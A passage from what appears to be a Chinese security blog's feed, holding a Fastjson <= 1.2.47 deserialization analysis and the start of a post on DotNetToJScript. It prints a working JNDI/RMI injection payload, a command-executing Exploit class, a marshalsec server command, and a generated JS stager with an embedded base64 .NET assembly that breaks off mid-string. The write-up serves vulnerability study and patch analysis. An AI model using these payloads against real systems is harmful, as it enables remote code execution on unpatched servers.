href="#0x04-相关链接" class="headerlink" title="0x04 相关链接"></a>0x04 相关链接</h2><p><a href="https://xz.aliyun.com/t/6633" target="_blank" rel="noopener">https://xz.aliyun.com/t/6633</a><br><a href="https://kingx.me/Exploit-Java-Deserialization-with-RMI.html" target="_blank" rel="noopener">https://kingx.me/Exploit-Java-Deserialization-with-RMI.html</a><br><a href="https://javasec.org/javase/JNDI/" target="_blank" rel="noopener">https://javasec.org/javase/JNDI/</a></p>]]></content>
<summary type="html">
<blockquote>
<p>@Author: Patrilic<br>@Time: 2020-3-15 16:41:55</p>
</blockquote>
<p><img src="/wallpaper/girl_rain_anime.jpg" alt></p>
<h2 i
</summary>
<category term="Java_Sec" scheme="http://patrilic.top/categories/Java-Sec/"/>
<category term="JNDI" scheme="http://patrilic.top/tags/JNDI/"/>
</entry>
<entry>
<title>Fastjson =< 1.2.47 反序列化漏洞分析</title>
<link href="http://patrilic.top/2020/03/14/Fastjson%20=%3C%201.2.47%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
<id>http://patrilic.top/2020/03/14/Fastjson =< 1.2.47 反序列化漏洞分析/</id>
<published>2020-03-14T15:08:55.000Z</published>
<updated>2020-03-24T12:19:29.356Z</updated>
<content type="html"><![CDATA[<blockquote><p>@Author: Patrilic<br>@Time: 2020-3-14 23:08:55</p></blockquote><p><img src="/wallpaper/33703665.png" alt></p><h2 id="0x00-RMI和LDAP的适用版本"><a href="#0x00-RMI和LDAP的适用版本" class="headerlink" title="0x00 RMI和LDAP的适用版本"></a>0x00 RMI和LDAP的适用版本</h2><ul><li>RMI的利用方式:适用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前。</li><li>LDAP的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。</li></ul><h2 id="0x01-Poc"><a href="#0x01-Poc" class="headerlink" title="0x01 Poc"></a>0x01 Poc</h2><p>Exp.java<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.fastjson;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"><span class="comment">//import com.alibaba.fastjson.JSONObject;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">exp</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] argv)</span> </span>{</span><br><span class="line"><span class="comment">// System.out.print("Success");</span></span><br><span class="line"> String payload = <span class="string">"{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}}"</span>;</span><br><span class="line"> JSON.parse(payload);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>Exploit.java<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> javax.naming.Context;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Name;</span><br><span class="line"><span class="keyword">import</span> javax.naming.spi.ObjectFactory;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.util.Hashtable;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Exploit</span> <span class="keyword">implements</span> <span class="title">ObjectFactory</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Object <span class="title">getObjectInstance</span><span class="params">(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)</span> </span>{</span><br><span class="line"> exec(<span class="string">"xterm"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">exec</span><span class="params">(String cmd)</span> </span>{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Runtime.getRuntime().exec(<span class="string">"/System/Applications/Calculator.app/Contents/MacOS/Calculator"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="string">""</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> exec(<span class="string">"123"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>RMI服务器由<code>marshalsec-0.0.3-SNAPSHOT-all.jar</code>启动<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8001/\<span class="comment">#Exploit</span></span><br></pre></td></tr></table></figure></p><p><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/B680A661-76AE-438F-BB0D-D2C2214F4A67.png" alt="7f359d16876b2eaa97d0064163818915"><br>运行exp的时候,发现并不能成功执行<br>因为jdk版本不支持,当前版本为8u191,ldap和rmi的方式都不行,切换版本到7u80</p><p><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/E79CF324-93FC-4CE1-BE1B-DFEF90EB9AF7.png" alt="1edd992c19ef12dba70c2e95888c2557"></p><h2 id="0x02-漏洞分析"><a href="#0x02-漏洞分析" class="headerlink" title="0x02 漏洞分析"></a>0x02 漏洞分析</h2><p>程序最先进入到<code>DefaultJSONNParser</code>,将整个payload作为参数传入Json的解释器,进入到<code>DefaultJsonParser.parser()</code>函数<br><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/28FE6040-A663-4917-9B33-5FFF2CDB85BC.png" alt="6e56c3da292b27f3113a3ee0abaa98ee"></p><p>经过逐位的数据读取,将Json的Key分割开,调用<code>addSymbol()</code>函数加入到<code>symbolTable</code><br><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/529DB604-D9A5-4738-B262-866E5A051044.png" alt="82ce67277b809a6566d42776edf55c1a"><br><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/5C90CF8E-8639-47B0-8A2B-70CCAFB5BD96.png" alt="0b36d6845ac592e5e2a1edd046485417"><br><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/6D7B5F66-9CF9-4F83-B579-1C5A50AC7EF3.png" alt="d7aaede895bd86db6cd8b3b2bf521090"></p><p>如果获取到的key是<code>@type</code>,就通过<code>clazz = this.config.checkAutoType(typeName, (Class)null, lexer.getFeatures())</code>是否是黑名单中的类<br><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/575BDF20-3477-41EF-86A1-37C4F82D0C0D.png" alt="e54434863810d533e4abbfffd17cf444"></p><p>因为<code>@type == "java.lang.class</code>,不在黑名单内,所以会将value带入加载<br><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/010E81DB-CC0B-463D-99D5-3AF7B4424D0F.png" alt="c0cec95a77c1fcb09eae7a31f55ad924"></p><p>跟进deserializer<br><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/6768D0AC-556B-4F32-8501-883DC598C4D2.png" alt="cd2a71923e82d11b89acf17a93dac732"></p><p>可以看到StrVal = objVal,而objVal就是等于poc中给出的val参数</p><p><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/901E4F52-7331-40E0-81CD-D0B69505C262.png" alt="b430f5adbde2b365f5488b65dd344da4"><br><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/41CFF0FE-DC60-4991-8B01-21FF0131FC03.png" alt="c91078c017a755f6a5eafa795011e9b4"></p><p>然后下面经过一堆if判断,进入到<br><code>TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader())</code><br><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/8283EB70-1319-4470-9568-666FBD873996.png" alt="e609abb525e01030d936b3bbe7add652"><br><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/AF8AAF33-B7F5-43E7-BE88-156D470E8346.png" alt="a98059fd01221035ecd2841522af4275"></p><p>跟进<code>loadClass()</code><br><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/C69E1B97-C258-4C9C-81F5-296B60425223.png" alt="d4728569a9c8cb904ad5b0e1d4b6a6df"></p><p>MiscCode:548行<br><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/F2E2E046-ADFD-4EEB-92CB-37DCDED33271.png" alt="79065bc4bef1123ed26820efacfbd05d"></p><p>最后进入JdbcRowSetImpl通过调用SetAutoCommit() -> connect()对dataSourceName进行lookup,实现rmi注入<br><code>com/alibaba/fastjson/parser/DefaultJSONParser.class</code><br><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/33674652-BC80-4F07-9490-3141F00F2A62.png" alt="d8ddb20ca9fbd8f657af97ef9c32ed6c"></p><p><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/AA25BA2D-3AAC-4AF3-8A48-89D90D64DE94.png" alt="b09fa3f3e107fafb1e34e3fb83ba5656"></p><p><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/0D7B889B-8F73-47A0-A043-B6CCAC90DF55.png" alt="a16b595ff0b2dc967bca9c66a947d82a"></p><h2 id="0x03-流程"><a href="#0x03-流程" class="headerlink" title="0x03 流程"></a>0x03 流程</h2><p><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/C0337364-B681-4CBE-95D1-38D3DD294B50.png" alt="041e5d8c0bb564c73c5b2a608fc6756f"></p><h2 id="0x04-Patch"><a href="#0x04-Patch" class="headerlink" title="0x04 Patch"></a>0x04 Patch</h2><p><a href="https://github.com/alibaba/fastjson/commit/11b92d9f33119ca2af1a3fe6f474de5c1810e686#diff-d09347575523cbca09b52606214d95a7" target="_blank" rel="noopener">https://github.com/alibaba/fastjson/commit/11b92d9f33119ca2af1a3fe6f474de5c1810e686#diff-d09347575523cbca09b52606214d95a7</a></p><p><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/E04A36F0-B79B-416F-9AE7-B594B243388C.png" alt="013ef4165b6fced9afd44595f1ed8d44"><br>将cache设为了false</p><p><a href="https://github.com/alibaba/fastjson/commit/8034935a5405a135e77caa1e2f61b3e78fc02da8" target="_blank" rel="noopener">https://github.com/alibaba/fastjson/commit/8034935a5405a135e77caa1e2f61b3e78fc02da8</a><br><img src="/Fastjson =< 1.2.47 反序列化漏洞分析.resources/5CD5FE20-C4B0-4F9E-9744-02AC5B9B52A2.png" alt="ed8072ff15344186d6fe82a1030ddf3a"></p><h2 id="0x05-相关链接"><a href="#0x05-相关链接" class="headerlink" title="0x05 相关链接"></a>0x05 相关链接</h2><p><a href="https://www.03sec.com/3240.shtml" target="_blank" rel="noopener">https://www.03sec.com/3240.shtml</a><br><a href="https://kingx.me/Exploit-Java-Deserialization-with-RMI.html" target="_blank" rel="noopener">https://kingx.me/Exploit-Java-Deserialization-with-RMI.html</a><br><a href="https://javasec.org/javase/JNDI/" target="_blank" rel="noopener">https://javasec.org/javase/JNDI/</a><br><a href="https://paper.seebug.org/994/" target="_blank" rel="noopener">https://paper.seebug.org/994/</a><br><a href="https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/" target="_blank" rel="noopener">https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/</a></p>]]></content>
<summary type="html">
<blockquote>
<p>@Author: Patrilic<br>@Time: 2020-3-14 23:08:55</p>
</blockquote>
<p><img src="/wallpaper/33703665.png" alt></p>
<h2 id="0x00
</summary>
<category term="Java_Sec" scheme="http://patrilic.top/categories/Java-Sec/"/>
<category term="FastJson" scheme="http://patrilic.top/tags/FastJson/"/>
</entry>
<entry>
<title>DotNetToJScript && GadgetToJScript</title>
<link href="http://patrilic.top/2020/03/10/DotNetToJScript%20&&%20GadgetToJScript/"/>
<id>http://patrilic.top/2020/03/10/DotNetToJScript && GadgetToJScript/</id>
<published>2020-03-10T09:48:22.000Z</published>
<updated>2020-03-10T09:58:38.565Z</updated>
<content type="html"><![CDATA[<blockquote><p>@Author: Patrilic<br>@Time: 2020-03-10 17:48:22</p></blockquote><p><img src="/wallpaper/girl_umbrella_rain.jpg" alt></p><h2 id="0x00-First-of-All"><a href="#0x00-First-of-All" class="headerlink" title="0x00 First of All"></a>0x00 First of All</h2><p><code>DotNetToJScript</code>和<code>GadgetToJScript</code>两个项目都可以将.Net程序封装在VBS或JS脚本中执行。</p><h2 id="0x01-DotNetToJScript"><a href="#0x01-DotNetToJScript" class="headerlink" title="0x01 DotNetToJScript"></a>0x01 DotNetToJScript</h2><h3 id="Build"><a href="#Build" class="headerlink" title="Build"></a>Build</h3><p><strong>Github</strong>: <a href="https://github.com/tyranid/DotNetToJScript" target="_blank" rel="noopener">https://github.com/tyranid/DotNetToJScript</a></p><p>.Net 框架版本设置为 2.0<br><img src="/DotNetToJScript && GadgetToJScript.resources/B1113037-3EC1-4834-8D1C-7CCA24F5B441.png" alt="058f3d723cd0ca2e7485f1d7216ac3c3"></p><p>报错:<br><strong>缺少程序集引用Linq</strong></p><p>解决方法:<br>添加引用 C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\System.Core.dll<br><img src="/DotNetToJScript && GadgetToJScript.resources/EB5B5FC7-8B78-4760-B987-D75E1EA5B1CF.png" alt="ea1a5641956a7a28b2c0b406c4aba31b"></p><p>编译成功后,生成两个文件夹:<br><img src="/DotNetToJScript && GadgetToJScript.resources/224550E5-0CF0-4FB2-BA22-71F851DECF61.png" alt="a8b20407d74ef46db31d6f6fb25aea3a"></p><h3 id="Usage"><a href="#Usage" class="headerlink" title="Usage"></a>Usage</h3><p>打开ExampleAssembly的cs源文件<br><img src="/DotNetToJScript && GadgetToJScript.resources/4E5547AC-A42A-4474-8074-D1877D264A96.png" alt="4fb98a768dd4466219da984e3e33668a"></p><p>可以看到其实只是调用了MessageBox()函数,弹出一个框,先利用这个Dll进行测试<br><img src="/DotNetToJScript && GadgetToJScript.resources/EA43F55B-3774-4048-BD03-7D976B3461A0.png" alt="a6dd3c16e5364d4551644edce13ff04f"></p><h4 id="ToJS"><a href="#ToJS" class="headerlink" title="ToJS"></a>ToJS</h4><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DotNetToJScript.exe -o test.js ExampleAssembly.dll</span><br></pre></td></tr></table></figure><p><img src="/DotNetToJScript && GadgetToJScript.resources/B232AF55-CDEE-42D9-86C7-5C2A65A31E68.png" alt="d8d99c7eca3c63409950aa5c58b28188"></p><p><img src="/DotNetToJScript && GadgetToJScript.resources/D0A4CE12-463B-4D8D-8ECB-5970A4DA9DED.png" alt="af601612607744683f8090933703b42b"></p><p>打开test.js<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">setversion</span>(<span class="params"></span>) </span>{</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">debug</span>(<span class="params">s</span>) </span>{}</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">base64ToStream</span>(<span class="params">b</span>) </span>{</span><br><span class="line"><span class="keyword">var</span> enc = <span class="keyword">new</span> ActiveXObject(<span class="string">"System.Text.ASCIIEncoding"</span>);</span><br><span class="line"><span class="keyword">var</span> length = enc.GetByteCount_2(b);</span><br><span class="line"><span class="keyword">var</span> ba = enc.GetBytes_4(b);</span><br><span class="line"><span class="keyword">var</span> transform = <span class="keyword">new</span> ActiveXObject(<span class="string">"System.Security.Cryptography.FromBase64Transform"</span>);</span><br><span class="line">ba = transform.TransformFinalBlock(ba, <span class="number">0</span>, length);</span><br><span class="line"><span class="keyword">var</span> ms = <span class="keyword">new</span> ActiveXObject(<span class="string">"System.IO.MemoryStream"</span>);</span><br><span class="line">ms.Write(ba, <span class="number">0</span>, (length / <span class="number">4</span>) * <span class="number">3</span>);</span><br><span class="line">ms.Position = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">return</span> ms;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> serialized_obj = <span class="string">"AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"</span>+</span><br><span class="line"><span class="string">"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"</span>+</span><br><span class="line"><span class="string">"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"</span>+</span><br><span class="line"><span class="string">"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"</span>+</span><br><span class="line"><span class="string">"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"</span>+</span><br><span class="line"><span class="string">"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"</span>+</span><br><span class="line"><span class="string">"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"</span>+</span><br><span class="line"><span class="string">"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"</span>+</span><br><span class="line"><span class="string">"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"</span>+</span><br><span class="line"><span class="string">"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"</span>+</span><br><span class="line"><span class="string">"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"</span>+</span><br><span class="line"><span class="string">"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"</span>+</span><br><span class="line"><span class="string">"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"</span>+</span><br><span class="line"><span class="string">"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"</span>+</span><br><span class="line"><span class="string">"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"</span>+</span><br><span class="line"><span class="string">"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"</span>+</span><br><span class="line"><span class="string">"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"</span>+</span><br><span class="line"><span class="string">"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"</span>+</span><br><span class="line"><span class="string">"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"</span>+</span><br><span class="line"><span class="string">"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"</span>+</span><br><span class="line"><span class="string">"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"</span>+</span><br><span class="line"><span class="string">"ZW1ibHkGFwAAAARMb2FkCg8MAAAAABQAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"</span>+</span><br><span class="line"><span class="string">"YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMADRBnXgAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAA4AAiIAsBMAAACgAAAAgAAAAAAAAaKAAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAyCcA"</span>+</span><br><span class="line"><span class="string">"AE8AAAAAQAAADAQAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAJAmAAAcAAAAAAAAAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAALnRleHQAAAAgCAAAACAAAAAKAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAADAQAAABA"</span>+</span><br><span class="line"><span class="string">"AAAABgAAAAwAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAASAAAAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAPwnAAAAAAAASAAAAAIABQB4IAAAGAYAAAEAAAAAAAAA"</span>+</span><br><span class="line"><span class="string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcgIoDgAACgAA"</span>+</span><br><span class="line"><span class="string">"cgEAAHByAQAAcBYfMCgPAAAKJiomAAMoEAAACiYqAEJTSkIBAAEAAAAAAAwAAAB2Mi4wLjUwNzI3"</span>+</span><br><span class="line"><span class="string">"AAAAAAUAbAAAAAQCAAAjfgAAcAIAAIACAAAjU3RyaW5ncwAAAADwBAAADAAAACNVUwD8BAAAEAAA"</span>+</span><br><span class="line"><span class="string">"ACNHVUlEAAAADAUAAAwBAAAjQmxvYgAAAAAAAAACAAABRxUAAAkAAAAA+gEzABYAAAEAAAAUAAAA"</span>+</span><br><span class="line"><span class="string">"AgAAAAIAAAABAAAAEAAAAA4AAAABAAAAAwAAAAAAZAEBAAAAAAAGANQA2AEGAEEB2AEGACEApgEP"</span>+</span><br><span class="line"><span class="string">"APgBAAAGAEkAjgEGALcAjgEGAJgAjgEGACgBjgEGAPQAjgEGAA0BjgEGAGAAjgEGADUAuQEGABMA"</span>+</span><br><span class="line"><span class="string">"uQEGAHsAjgEGAEMCeAEKAGICBwIKAEoCBwIKABwCBwIKAH8BBwIOADsCpgEAAAAAAQAAAAAAAQAB"</span>+</span><br><span class="line"><span class="string">"AAEAEAAuAgAAPQABAAEAUCAAAAAAhhigAQYAAQBtIAAAAACGADgCEAABAAAAAQBfAQkAoAEBABEA"</span>+</span><br><span class="line"><span class="string">"oAEGABkAoAEKACkAoAEQADEAoAEQADkAoAEQAEEAoAEQAEkAoAEQAFEAoAEQAFkAoAEQAGEAoAEV"</span>+</span><br><span class="line"><span class="string">"AGkAoAEQAHEAoAEQAHkAoAEGAIEAXQIaAKEAVwIlAC4ACwA0AC4AEwA9AC4AGwBcAC4AIwBlAC4A"</span>+</span><br><span class="line"><span class="string">"KwB6AC4AMwCkAC4AOwCkAC4AQwBlAC4ASwCqAC4AUwCkAC4AWwCkAC4AYwDPAC4AawD5AEMAWwAG"</span>+</span><br><span class="line"><span class="string">"AQSAAAABAAAAAAAAAAAAAAAAAG0CAAACAAAAAAAAAAAAAAArAAoAAAAAAAIAAAAAAAAAAAAAACsA"</span>+</span><br><span class="line"><span class="string">"BwIAAAAAAgAAAAAAAAAAAAAAKwB4AQAAAAAAAAA8TW9kdWxlPgBtc2NvcmxpYgBHdWlkQXR0cmli"</span>+</span><br><span class="line"><span class="string">"dXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxl"</span>+</span><br><span class="line"><span class="string">"QXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25B"</span>+</span><br><span class="line"><span 